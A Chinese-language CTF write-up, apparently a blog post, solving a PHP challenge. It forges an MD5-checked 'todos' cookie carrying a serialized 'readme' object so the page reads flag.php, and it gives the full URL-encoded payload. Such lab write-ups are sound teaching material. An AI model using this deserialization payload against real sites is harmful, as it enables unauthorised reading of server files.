点我

1、查看代码

img

2、所用到的函数

●isset():检测变量是否已设置并且非null

●__toString():自动被调用的,直接输出对象引用时自动调用的

●highlight_file():函数对文件进行语法高亮显示

●substr(string,start,length):截取字符串

●md5():计算字符串的 MD5 散列

●serialize():用于序列化对象或数组,并返回一个字符串

●unserialize():用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构

●===:绝对等于,值等于,且数据类型也要相同

3、分析关键代码

if(isset($_COOKIE['todos'])){  //cookie传参,检测todos的传参值是否为空
    $c = $_COOKIE['todos'];    //$c = todos的传参值
    $h = substr($c, 0, 32);    //$h = todos传参值的前32个字符
    $m = substr($c, 32);    //$m = todos传参值的第32个字符以后
    if(md5($m) === $h){    //$c = $h.$m ==> $c = $h . md5($m)
        $todos = unserialize($m);    //如果 md5($m) === $h,那么 $todos = 反序列化$m
    }
}
<?php foreach($todos as $todo):?>//遍历数组 $todos是一个数组
    <li><?=$todo?></li>    //遍历输出$todos中的值到变量todo,<?=$todo?> ----> <?php echo $todo ?>
<?php endforeach;?>

4、在本地构造出falg.php的序列化

img

序列化值:a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

5、进行md5加密为 e2d4f7dcc43ee1db7f69e76303d0105c

6、进行拼接 传参的todos的值为e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

7、抓包修改cookie的todos传参值

注意:cookie传参会进行一次URL编码 故需要将todos的值进行一次URL编码后进行传入 URL编码后的值:

e2d4f7dcc43ee1db7f69e76303d0105ca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22readme%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D

img

分类: WEB安全

评论

-- 评论已关闭 --

目录

暂无目录

目录